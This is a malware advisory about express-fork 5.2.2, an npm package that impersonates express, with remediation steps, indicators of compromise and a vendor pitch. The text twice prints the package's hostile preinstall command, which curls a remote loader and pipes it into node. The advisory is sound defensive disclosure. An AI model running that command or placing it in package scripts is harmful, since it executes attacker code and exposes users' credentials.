Which versions of express-fork are malicious?

The following npm versions of express-fork are flagged malicious: 5.2.2. Treat any of these as compromised.

How do I remediate express-fork if I installed it?

express-fork is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed express-fork — how do I know if it already compromised me?

If express-fork was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is express-fork part of a known attack campaign?

Yes — express-fork is associated with the IN-MAL-2026-020874 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find express-fork across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for express-fork (version 5.2.2).

Malicious package

express-forknpm

Advisory published Oct 3, 2026Updated Oct 5, 2026

express-fork is a confirmed malicious npm package (MAL-2026-17490) that steals credentials and exfiltrates sensitive data (malicious version 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-fork (npm)

MAL-2026-17490

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall express-fork

What this malware does

[email protected] impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-fork and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.

[email protected] is a typosquat of the express package. Its package.json metadata (description, author, repository, keywords) is copied verbatim from express, while package.json line 98 defines a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/...?file=node.js | node. On every npm install, the hook fetches an unpinned JavaScript file from a third-party gitflic.ru account unrelated to the Express publisher (via a web.archive.org wrapper) and pipes it directly to the Node interpreter, with no integrity or signature check. The fetched content executes with the privileges of the installing user and can perform arbitrary actions on the installer's machine, including credential theft, persistence, or further payload delivery. The impersonation of express is the lure that causes typo-based installs to trigger the remote-exec hook.

Malicious versions

1 flagged

5.2.2

Indicators of compromise (SHA-256)

174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for express-fork (version 5.2.2).
If you installed it — respond
express-fork is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If express-fork was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. express-fork on npm has been identified as a malicious package (version 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020874

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder

Detect & block this

O3 blocks express-fork-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database